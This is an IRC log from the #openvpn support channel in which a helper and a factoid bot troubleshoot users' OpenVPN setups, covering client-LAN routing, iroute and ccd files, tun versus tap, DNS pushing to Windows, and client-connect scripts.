19:18 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
19:18 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
19:18 < Aliekzhi> acu, well client and server can ping each others with success
19:19 < Aliekzhi> even without any route
19:19 <+pekster> Aliekzhi: don't do that with your routing. This is a very basic networking question that you'd best read about, but 255.255.255.255/32 is special and is a broadcast address for "this" network
19:19 <+pekster> When you have >1 network you are multihomed and that will never work unless an application sends via a particular interface, naturally
19:19 <+pekster> Since you don't normally do such things, the routing table is consulted. In other words, don't rely on 255.255.255.255/32 in a multi-homed setup. If you _really_ want that, what you need to do is learn how multicast works
19:20 < Aliekzhi> pekster, so that can also the cause of lag I'm experimenting ?
19:20 <+pekster> (and that's not what you want here)
19:20 <+pekster> I have no clue/care about your "lag", no
19:20 < Aliekzhi> ok ^^
19:20 <+pekster> Misconfigured network topolgoy can screw all sorts of things up
19:20 <+pekster> I'm not here to make your gamem work. I'm also not here to teach you the basics of networking
19:20 <+pekster> https://en.wikipedia.org/wiki/Broadcast_address for info/links about broadcast addresses
19:20 <@vpnHelper> Title: Broadcast address - Wikipedia, the free encyclopedia (at en.wikipedia.org)
19:22 < Aliekzhi> pekster, well ok thx for all your explanations, I'll stop bothering you
19:22 < Aliekzhi> pekster, I'll try to understand and set up your suggestions
19:22 <+pekster> Try a simple tap-only setup. If that fails, your only other option (besides inviting friends over) is a "bridge everything" seutp which is complex, and quite insane/stupid
19:23 <+pekster> Well, or find an application/game that doesn't suck
19:23 < Aliekzhi> last question : no chance it work with tun ?
19:23 <+pekster> Most games support a "connect to IP" feature anyway that you could happily use tun for (not tap)
19:23 <+pekster> Is there any reason you've refused to read the info the bot had for you?
19:23 <+pekster> !tunortap
19:23 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices
19:23 <@vpnHelper> (not rooted/jailbroken) support only tun
19:23 <+pekster> !whybridge
19:23 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
19:24 <+pekster> Aliekzhi: ^ read those that I linked you to quite a while back and didn't see you try and read
19:24 <+pekster> If your software works with IP packets (not Ethernet frames) there's no need for tap at all
19:25 <+pekster> #4 is more of a suggestion, and really ought to link to a page explaining the complexities involved
19:25 <+pekster> Again, most people actually understand those before coming here, which is why we won't take 2 hours and explain how it works (there are places for that.)
19:26 < Aliekzhi> " then routed tap is enough" ; isn't it what I do ?
19:26 < Aliekzhi> or another way of routing ?
19:26 <+pekster> 'routed tap' is just "OpenVPN over L2"
19:26 <+pekster> Or, I suppose that should really read "L2 over OpenVPN"
19:27 <+pekster> And it would be what you're trying to do except you completely and utterly failed to listen to my point that all networks can't overlap
19:27 <+pekster> You know, the one I SHOUTED at you earlier?
19:28 <+pekster> 18:51:53 <+pekster> For like the 5th time tonight: USE A UNIQUE, NON-OVERLAPPING RANGE. Maybe it'll stick in in all caps?
19:28 < Aliekzhi> yes, about not using 192.168.x
19:28 < Aliekzhi> but a randomone
19:28 <+pekster> Right. Change that and make the remaining changes and it'll work fine as a connection
19:28 <+pekster> What it does for your broken software is anyone's guess, but openvpn delivers packets, not magically makes software do things it can't
19:29 < Aliekzhi> pekster, ok :) thank you :)
19:29 < Aliekzhi> pekster, I'll try with less broken apps first to see if it works
19:29 <+pekster> Sure, get something as basic as a website or ssh session working across the link
19:29 <+pekster> That'll tell you it's all doing what it should
19:30 <+pekster> Anything after that "isn't openvpn's responsibility"
19:30 < Aliekzhi> ok thx :)
19:31 < Aliekzhi> I'll try to come back only if questions about openvpn itself
19:31 <+pekster> Oh, and use the machine IP over the VPN network (the unique one you use) since DNS is also not part of what openvpn provides itself
19:32 <+pekster> You can integrate solutions with DNS into openvpn, but openvpn does not make any attempt to deal with DNS directly
19:32 < rob0> How do I get openvpn to make supper and bring me a beer?
19:33 < acu> rob0: very easy - help someone who will pay you to pay someone :)
19:33 < acu> or you could do a straight barter
19:33 < rob0> Good answer! And I have done that!
19:33 < acu> lol
19:34 < rob0> well, they paid me, and I paid the bills, and /dev/wife made supper. But she did not bring a beer. :(
19:34 < Aliekzhi> pekster, the fact my dirty setup works with some kernel and not some other kernels is also distribution related ?
19:34 <+pekster> Apparently?
19:34 < Aliekzhi> I wanted to be sure ^^
19:34 <+pekster> I have zero clue what-so-ever you think you're doing adding 255.255.255.255/32 to your routing table: that's utter nonsense
19:35 <+pekster> The rest is as simple to test as "can you ping your target across the VPN?" If yes, it's working. If not, you either have a firewall dropping the ping request/reply, or have misconfigured openvpn
19:35 <+pekster> Once you can ping, any further problems are not at all openvpn
19:35 < Aliekzhi> pekster, yeah whatever config I tried I always can ping and always have client connected in the logs
19:35 < acu> rob0: indeed /dev/wife  /dev/gf is indeed expensive - a life time recurrent expense - exponentially growing  - but let me go back to check where and which route and iroute should go :)
19:36 <+pekster> Then "openvpn is working"
19:36 < Aliekzhi> ok so it's another problem ^^
19:36 <+pekster> Though if your client is on the same network range, you probably weren't actually pinging the server (more likely your LAN gateway, since those are usually on the first machine-IP of the subnet)
19:36 < Aliekzhi> the fact the apps must know they must send data to that vpn
19:36 <+pekster> No
19:36 <+pekster> That's what a routing table does
19:37 <+pekster> `ip route show table all`
19:37 <+pekster> _that_ is what decides what goes where (well, along with `ip rule show`
19:37 < Aliekzhi> so in all case I need to route things, right ?
19:37 <+pekster> tap is Ethernet, so no
19:37 <+pekster> routes show up as "on-link" (again with the networking 101 questions...)
19:38 <+pekster> If you don't understand the difference between a route for off-link destinations and on-link subnets, !tcpip has info for you, as does ##networking
19:38 < Aliekzhi> :tcpip
19:38 < Aliekzhi> !tcpip
19:38 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
19:38 <+pekster> `ip route show` (without all the local table output) shows you the link-local tables too
19:39 <+pekster> (hint: all the "scope link" stuff)
19:39 <+pekster> That is, pretty obviously, scopped to the link on the listed device
19:39 <+pekster> tap is your link, as is tun in the subnet topology (!topology for tun topology details)
19:39 < Aliekzhi> :topology
19:39 < Aliekzhi> !topology
19:39 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
19:44 < acu> OK - so I missed route 192.clientlanip - I had push " ....
19:44 < acu> still did not try yet to see if it works
19:44 < acu> that route in the /etc/openvpn/server.conf
19:45 <+pekster> You need _both_ if this is a client network, though the push is optional if you only have 1 client or don't wish to (universally) push that to other clients
19:45 <+pekster> That's why the flowchart lists both ;)
19:45 <+pekster> (and why several of us keep referring you back to it, actually)
19:46 -!- Aliekzhi [~Aliekzhi@79.140.116.78.rev.sfr.net] has left #openvpn ["Leaving"]
19:48 < acu> now - in VPNserver /etc/openvpn/ I have to create a mkdir ccd then a file client ?
19:48 < acu> to place the iroute
19:52 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
19:55 < acu> what is weird is that nothing needs to be changed in the client (except IP routing) - all changes have to be in OpenVPN server
19:56 <+pekster> How is that weird? The openvpn server instance gets a packet: the iroute defines _which_ client gets it
19:57 <+pekster> That obviously depends on the client having a defined --iroute in its ccd (or possibly set by --client-connect script.) If you fail to tell openvpn about this association, it neither knows where to send the packet, nor to accept packets sourced from that network when the client sends them
19:57 <+pekster> !iroute
19:57 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
19:57 <+pekster> ^ also described there
19:58 < acu> no, is not weird - I do not know - the documentation could be made simpler - mentioning all changes are made in the server - I was scared - not being to distinguish on first look - what needs to be in server or in client
19:58 <+pekster> What documentation, exactly, are you referring to?
19:58 < acu> http://openvpn.net/index.php/open-source/documentation/howto.html#scope
19:58 <@vpnHelper> Title: HOWTO (at openvpn.net)
19:58 <+pekster> The !clientlan docs are pretty specific though: "In server config: ..."
19:59 <+pekster> This can easily be done with the following server-side config file directive
19:59 <+pekster> That's pretty explicit too
19:59 <+pekster> "server-side config file directive" not obvious enough?
19:59 < acu> that is crystal clear :)
20:00 <+pekster> Also, "In the above directive, ccd should be the name of a directory which has been pre-created in the default directory where the OpenVPN server daemon runs." I'm failing to see how that's any point of confusion
20:01 <+pekster> I don't see anything in there that is vauge: can you clarify what _percise_ wording you feel we can improve on? If there's an issue, the documentation can be patched with better clarification
20:01 < acu> pekster you remind me of that drill sergeant in a movie I think called " Full Metal Jacket"  - LOL
20:01 <+pekster> I don't see anything in that section regarding where to place config directives that is in anyway vauge, although I did just skim it for the config details
20:02 <+pekster> And you still haven't said what's so vauge..
20:02 < acu> The documentation is complete - just a bit of separation - SERVER:    CLIENT:
20:02 <+pekster> It's not quite that simple given the reasoning you must know
20:02 < acu> I will work on it as soon as I make this setup functional
20:03 <+pekster> You cannot blindly copy information out of there unless you _understand_ why you're doing it
20:03 <+pekster> This is why our docs will never have "here, just blindly copy this config stanza to do X" in our main howto
20:03 < acu> agree with that - clear structure helps newcomers though :)
20:03 <+pekster> In an examples or wiki for that _specific_ use-case, maybe
20:03 <+pekster> TOC has clear structure
20:03 <+pekster> The section you referenced very clearly describes every step in the order you need it for a client-side LAN network
20:04 <+pekster> If people can't read a few paragraphs, quite frankly openvpn is likely beyond them anyway
20:04 <+pekster> This is very common in the Unix world. See the grep, sed, date, or awk manpages, for instnce
20:04 <+pekster> I fail to see how openvpn lacks in this regard when comparing our howto
20:04 < acu> yes, that is one criteria to weed the weenies - it seems almost as debian was few years ago :)
20:05 <+pekster> This is addvanced networking
20:05 <+pekster> We get many people in here that have no clue how basic networking works. This is like a mother coming to a swim instructor and asking them to teach a child how to swim when the child can't even walk; the concept is silly
20:05 < acu> indeed - requires more complex understanding and skills
20:06 <+pekster> Right, that's my point. Failure to understand the basics (the stuff truely unrelated to openvpn, or at least obvious prerequisites) earn people links/references to more appropriate places
20:07 < acu> not to say a mix of persistence and masochism - to go to the end :)
20:08 < acu> OK - going back to my last step - making sure that the machines in the LAN behind the client - use the OPenVPN machine as the gateway
20:08 <+pekster> Is it the LAN gateway now? If not, what you really want is to configure the LAN network's gateway to route the return traffic properly
20:08 <+pekster> This is the "Add a route to the router..." step in the flowchart
20:08 <+pekster> (assuming you correctly followed the chart to that point)
20:09 < acu> Yes - I have an old router on one site - have to look and pray that it allows me to configure that - otherwise I have to interpose the OpenVPN machine between LAN clients and the router that connects to internet
20:09 <+pekster> The howto link you referenced explains that starting with "The last step, and one that is often forgotten"
20:10 < acu> yes - that is where I am now
20:10 <+pekster> Well, you could do that, or add the reply route to each and every LAN system you want to communicate with
20:10 <+pekster> Well, or NAT, but you'd best avoid NAT at all costs unless you both have no other choice and understand the implications (uni-directional communication, etc)
20:10 <+pekster> NAT is evil and there is no reason at all to NAT when you control both networks
20:12 < acu> I agree - it would have been nice if I could connect the OpenVPN machine straight to Internet (of course I could configure it with two NICs one for WAN one for LAN and configure everything in one go - however I am forced now to use the existing router some 1000 years old netopia
20:12 <+pekster> So replace it? Low-to-mid end hardware that runs openwrt is pretty cheap
20:13 <+pekster> Find a cheap-ish router that's supported here, and ideally look for one with >=8MB flash and >=32M RAM (more RAM if you ever want to run more stuff on it, like openvpn or whatever) http://wiki.openwrt.org/toh/start
20:14 < acu> It is the "modem and router" - I could think of making the modem as bridge but it has dynamic public IP and is required to be "activated" by the internet provider
20:14 <+pekster> Most people put the modem into a "bridged" or "pass-through" mode and run a _real_ router behind it
20:14 <+pekster> Could be some off-the-shelf SOHO box, a custom PC acting as a router, or an openwrt box
20:15 <+pekster> The advantage is you don't need to rely on the ISP to do things for you becuase such boxes are (often) feature-limited
20:15 <+pekster> YMMV, but many of them are quite awful to use
20:21 < acu> pekster: so I am adding a staic IP route -- my openvpn network is 10.95.20.0 netmask 255.255.255.0 -    gatway 192.168.2.78 (which is the OpenVPN machine on the LAN) - does it sound "sound" ? - supposely any client with TAP will send the 10.92 type of trafic through the OpeVPN server
20:21 < acu> perhaps I need to DMZ the "gateway"
20:24 < acu> I have some settings for IPsec - IPSec PassThrough supports VPN clients running on LAN-connected computers. Disable this checkbox if your LAN-side VPN client includes its own NAT interoperability solution.
20:24 -!- dgeary2 [~debian@pa49-187-83-246.pa.nsw.optusnet.com.au] has joined #openvpn
20:27 <+pekster> The route looks fine if you added 10.95.20/24 via 192.168.2.78 to the router. Also check that its firewall allows the traffic
20:27 <+pekster> The path (router-wise) from the server would go [vpn-server] -> [vpn-client] -> [lan-client]
20:28 <+pekster> Then the return-path goes: [lan-client] -> [lan-gateway] -> [vpn-client] -> [vpn-server]
20:28 <+pekster> Notice how there is an extra hop on the return since the LAN's gw is what gets all "off-link" packets unless otherwise configured on the lan-client system itself
20:30 < acu> so for this one - I do not need two NICs for clientOpenVPN machine - as it just connects to the main router - which has defined the static route for the OpenVPN net realm
20:31 <+pekster> Right
20:31 <+pekster> There's no reason at all you need a "2nd NIC" or such sillyness to run openvpn
20:31 <+pekster> Not becuase of openvpn anyway; you need >1 NIC when you want separate broadcast domains. An alternative if you have VLAN-aware switches is to separate L2 domains by VLAN
20:33 -!- NEone [~NEone@unaffiliated/neone] has joined #openvpn
20:33 < acu> Last sentence needs me to think 3 minutes - however I am going to restart the openvpn server and client and see what happens - I will try with windows 8 machine client lan (I such do not love windows 8 - it is for rich people who enjoy being enslaved :)
20:34 < acu> clientOpenVPN is linux
20:34 < acu> the machines in the LAN are window$
20:35 < NEone> Hi. I try to achieve that DNS 8.8.8.8 and 8.8.4.4 are always pushed to the clients. Sometimes they do, sometimes their IPv6 counterparts are registered as the client's DNS:( I don't want to use IPv6, but always set the Google IPv4 DNSes in the clients. How to achieve that?
20:36 <+pekster> NEone: Sounds like you want to read !pushdns
20:36 < acu> !pushdns
20:36 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
20:36 < NEone> !windns
20:36 <@vpnHelper> "windns" is (#1) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#2) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#3) http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
20:37 <+pekster> Usually it "just works" on Windows clients; most of that addresses issues/problems under Windows
20:38 < NEone> I'm test with a Win7 client and it "just works" in only about 60% of the attempts.
20:38 <+pekster> Play with --register-dns maybe
20:38 <+pekster> THe way Windows does DNS is brain-dead
20:39 <+pekster> Every interface has "its own" list of resolvers, and what causes one to be used over another is a very complex (and of course undocumented) mystery. --register-dns "fixes" it, although I've solved it before under at least Win7 (never tested as win8 was before this fix) by setting the DHCP-registration, even if I set it to the same value it had
20:39 < NEone> Yeah, true. I even deactivated IPv6 and Toredo on that Win7 machine. And sometimes it still registers that IP6 DNS:(
20:39 <+pekster> registers as in to your DHCP server?
20:39 <+pekster> You'd need to play with the registry to turn that off; that's obviously not anything to do with openvpn
20:40 <+pekster> OpenVPN uses your virtual "TAP-Win32" adapter, so mind how you've configured that
20:41 < NEone> Win commandline ipconfig /all does show me sometimes the ip4, sometimes the ip6 dns under that adapter
20:42 <+pekster> What exactly are you pushing from your server?
20:42 < NEone> just 8.8.8.8 and 8.8.4.4
20:43 <+pekster> The `--push "dhcp-option ..."` pushes whatever you've included as the dhcp-options to the client
20:43 <+pekster> Unless your client is configured to use other servers in the device-specific config, it'll use what the client picked up from the "fake dhcp reply" it uses (or netsh, if you use that method.)
20:43 < acu> OK - so while I wait to reboot the client and restart OPENVpn client - wonder what do I need to do in the Windows machines - so they can connect to the openvpn net - a simple drive maping of I need to turn on some services enable some adapters - I have both win8 and xp machines I could test this on
20:43 <+pekster> Are you _sure_ this output is under the adapter and not another adapter or your global settings NEone?
20:43 < acu> the tunnel adapter in windows 8 tells me media disconected
20:43 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
20:44 <+pekster> acu: huh? What's openvpn's adapter got to do with a client-lan PC?
20:45 <+pekster> How about you ping before you mess with file sharing
20:45 <+pekster> Stop skipping steps
20:45 < NEone> That output is under the Tap-W32 adapter, yes. Seems like windows openvpn client receives the ip4 dns from the openvpn server's dhcp reply but then sometimes converts it to a ip6 dns address.
20:46 -!- JSharpe_ [~JSharpe@50.23.115.105] has quit [Ping timeout: 272 seconds]
20:46 < NEone> I deactivated ip6 on the tap-w32 adapter properties now. Will check how that works out;)
20:47 <+pekster> NEone: Odd indeed. Unless you've supplied additional IPv6 DNS servers manually, I see no reason for the behaviour you described nor have ever seen it
20:48 <+pekster> No extra stuff in a client-specific ccd file or --client-connect script that might be adding an IPv6 info, right?
20:48 < NEone> True. I don't use ccd or clientconnectscript
20:49 <+pekster> acu: You're still trying to get the client-lan connection working? After you fixed your LAN gw route/firewall, can you now ping from the LAN-side PC to the VPN IP of your server?
20:49 <+pekster> Don't even worry about application traffic until you get a reply to a pint
20:50 < NEone> Okay. Deactivating ip6 on the tap-w32 adapter properties seemed to solve my problem.
20:51 < NEone> Rebooting to make sure it still will work fine now. See you later
20:51 -!- NEone [~NEone@unaffiliated/neone] has left #openvpn ["Leaving"]
20:53 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
20:53 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
20:55 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
20:55 < acu> OK - so lets start with good news ! - I can ping from the OpenVPN server to the client with either LAN or OpenVPN ip address
20:56 -!- JSharpe__ [~JSharpe@31.205.63.22] has joined #openvpn
20:57 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
20:57 < acu> however from the LAN behind the client machines - I cannot ping - or see the OpenVPN server - it has to do with that static routing - does not work properly
20:58 <+pekster> "that static routing" ??
20:58 <+pekster> if you know what the problem is, go fix it
20:58 <+pekster> If you don't, don't make assumptions about the problem
20:58 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
20:58 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Ping timeout: 248 seconds]
21:00 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Read error: Connection reset by peer]
21:01 <+pekster> acu: If you can ping the LAN IP of the vpn client but not the client IP, "many" things could be wrong: 1) firewall on the client 2) missing/bad route on the lan-gateway 3) incorrect firewall config on the lan-gateway 4) incorrect firewall config on the VPN client
21:02 -!- JSharpe__ [~JSharpe@31.205.63.22] has quit [Ping timeout: 272 seconds]
21:02 -!- dgeary2 [~debian@pa49-187-83-246.pa.nsw.optusnet.com.au] has left #openvpn ["Ex-Chat"]
21:02 < acu> we function by assumptions - there are only two places - one - the IProute or tun input and forward do not wokr in the OpenVPN client - or there is something else to modify configure in the router - where the IP route was added - where I mention the gateway
21:02 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
21:02 <+pekster> huh???!
21:03 <+pekster> Good grief, I just _told_ you 4 places it coule be broken
21:03 < acu> pekster I said the same - less structured
21:03 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:03 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
21:03 <+pekster> No, you said "that static route" is the problem
21:03 <+pekster> Then FFS, go fix it
21:03 < acu> yes that was very imprecise :)
21:03 <+pekster> You said nothing of the other 3 (and a half if you count the firewall on the router) I did, but since you clearly know the problem, I'm not sure why you're spewing stuff here
21:04 <+pekster> Since you're obviously so well-versed in the failure to have the client reply to pings, I suggest you take action and fix it
21:04 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
21:06 < acu> whow IT WORKS!  At least from the Linux machine I was able to map the drive on the OpenVPN server - Power to the People!
21:07 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
21:08 < acu> pekster - you are MEAN but WONDERFUL ! Thanks
21:08 < acu> I think you can be fixed - with kindness :)
21:08 < acu> Thank you
21:09 < acu> thats freaking cool
21:09 < acu> I like it -
21:09 < acu> My brain is flooded with Dopamine
21:09 < acu> the windows map too
21:10 < acu> now I just need to make the settings permanent - the OPenVPN-CLIENT linux machine still ask me for password to connect to the OpenVPN server - but IT WORKS
21:10 < acu> pekster: you deserve a champaign - at least :)
21:10 < acu> where are you located ?
21:11 < acu> kerzee was overly helpful too
21:11 < acu> krzee
21:12 < acu> pekster: if you are sleeping it is OK - but many thanks again
21:13 <+pekster> Nope, just finishing up dinner. If you're not using user/pass auth, you can avoid a password interactively if you decrypt the client's private key
21:16 < acu> OK, I am still on high - need a brake - then I will hit it with that decrypt the clients's private key
21:16 < acu> pekster: thanks again
21:18 < acu> I have to make the client machine start and have everything running without human interaction - but that should be relatively light compared to this long session of near brain damage :) LOL
21:19 <+pekster> `openssl rsa -in x.key -out x.key`
21:19 -!- Cultist_ is now known as Cultist
21:19 <+pekster> add -des3 if you want it encrypted, or leave it off for an unencrypted private key. Remember that anyone who copies the key can authenticate as the client
21:21 < acu> pekster: :) look at this - http://www.youtube.com/watch?v=71Lft6EQh-Y
21:21 <@vpnHelper> Title: full metal jacket intro monologue - YouTube (at www.youtube.com)
21:22 < acu> LOL
21:22 < acu> ROFL
21:23 < acu> does it look like someone you know ?
21:23 < acu> see it to the end :)
21:24 -!- NEone [~NEone@unaffiliated/neone] has joined #openvpn
21:25 < NEone> !client-connect
21:25 <@vpnHelper> "client-connect" is --client-connect <script>, runs script on client connection. This can be useful for generating firewall rules dynamicly, or for assigning static ips. This can do anything that a ccd (see !ccd) entry can do, but dynamicly... to use it that way, you should write your dynamic ccd commands to the file named by $1.
21:27 < NEone> What is the syntax to set the --client-connect path/file within the server.conf ?
21:27 <+pekster> The manpage and that description aren't clear enough? It's simply `--client-connect /path/to/your/script.sh` (though it can be any executable file)
21:29 < NEone> as a commandline parameter to "openvpn" program, yes. But how do I put it into the server.conf, if I can't change the commandline which is called from crontab?
21:32 <+pekster> !--
21:32 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
21:33 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
21:33 <+pekster> You put it in exactly the same way, or with the leading dashes removed. See the first sentence under --config as well
21:33 < NEone> oh. okay. Thanks a lot.
21:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
21:46 < NEone> Added this line to the server.conf: client-connect /etc/openvpn/client-connect.sh  Now I get a "AUTH failed" when trying to connect.
21:48 <+pekster> NEone: And did you check that the exit code of the program was 0? Add `--verb 4` to the config and check your logs
21:49 <+pekster> That script allows you to perform dynamic tasks; if it doesn't exit code 0, it denies the auth
21:50 < NEone> yes, exit 0 is included
21:50 < NEone> is "script-security 2" in the server.conf good?
21:50 <+pekster> Yup, I was just going to verify that
21:50 <+pekster> 2 is fine
21:54 < NEone> simplified my script. It only contains one line now: exit 0
21:55 <+pekster> _just_ that line and no shebang? If it's not OS-executable that won't work
21:55 < NEone> still getting auth failed
21:55 < NEone> it is. I chmod +x 'ed it
21:55 <+pekster> So what happens if you do `/etc/openvpn/client-connect.sh; echo $?` at your prompt?
21:55 <+pekster> And no, +x is not the same as a valid shebang line
21:56 <+pekster> https://en.wikipedia.org/wiki/Shebang_%28Unix%29
21:56 <@vpnHelper> Title: Shebang (Unix) - Wikipedia, the free encyclopedia (at en.wikipedia.org)
21:58 < NEone> LOL. This thing was the missing part in my script. ...facepalm.
21:58 < NEone> Thanks. And sorry.
22:13 < NEone> I figured out whithin my scripts I can use for example $ifconfig_pool_remote_ip or $common_name. What other variables can I use? Is there a list for them?
22:22 <+pekster> Yup, described in the manpage:
22:22 <+pekster> !scripts
22:22 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
22:26 < acu> OK - sleep is natural too - I will finish tommorrow everything - pekster many thanks !
22:43 -!- acu [~acu@adsl-108-66-57-222.dsl.emhril.sbcglobal.net] has quit [Quit: Leaving]
22:47 -!- NEone [~NEone@unaffiliated/neone] has left #openvpn ["Leaving"]
23:42 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
23:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:54 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
23:55 -!- Champi [Champi@rootshell.fr] has joined #openvpn
--- Day changed Sat Nov 23 2013
00:10 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
00:25 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
00:26 -!- Champi [Champi@rootshell.fr] has joined #openvpn
00:59 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 272 seconds]
01:06 -!- Serano [~serano@rooty.be] has joined #openvpn
01:26 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 260 seconds]
01:29 -!- Champi [Champi@rootshell.fr] has joined #openvpn
01:37 -!- lamokie_ [~steve@li428-245.members.linode.com] has quit [Ping timeout: 260 seconds]
01:38 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn
01:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:40 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
01:44 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
01:54 -!- u0m3 [~u0m3@109.96.171.166] has quit [Read error: Connection reset by peer]
01:58 -!- u0m3 [~u0m3@92.80.65.91] has joined #openvpn
02:33 -!- natsukao [~natsukao@dynamic-adsl-94-37-153-251.clienti.tiscali.it] has quit [Ping timeout: 245 seconds]
02:42 -!- voxadam [adafdfahfd@67-5-191-250.ptld.qwest.net] has joined #openvpn
02:43 < voxadam> On an Android phone is there a way to connect via VPN when connected to an untrusted wifi network? I don't want it to connect to my VPN when connected via my home network or when on cellular data. Is Tasker my only option?
02:44 < voxadam> I would like to setup a pfSense based EC2 (free tier) and would like to limit my usage.
02:53 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:54 <+pekster> AWS EC2 charges you a metered rate when you exceed the free tier limits
02:54 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:01 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
03:05 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 245 seconds]
04:36 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
05:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
05:18 -!- rapha [~rapha@unaffiliated/rapha] has left #openvpn ["bye!"]
05:24 -!- mc128k [~mc128k@host181-46-dynamic.9-79-r.retail.telecomitalia.it] has joined #openvpn
05:25 < mc128k> Hi all, I am trying to setup an openVPN server with just one interface and bridge mode. As soon as I run the script which creates the bridge the server loses internet connectivity because the default gateway is not set to br0. I read in the docs that it could be a security hole. Is there a way to do it without adding another port? Thanks
05:48 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:51 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:02 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
06:31 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
07:07 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
07:10 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:20 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Ping timeout: 248 seconds]
07:23 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
07:38 -!- mc128k- [~mc128k@94.160.12.207] has joined #openvpn
07:40 -!- mc128k [~mc128k@host181-46-dynamic.9-79-r.retail.telecomitalia.it] has quit [Read error: Connection reset by peer]
07:41 -!- mc128k- [~mc128k@94.160.12.207] has quit [Read error: No route to host]
08:36 -!- Denial [Denial@2.223.161.125] has joined #openvpn
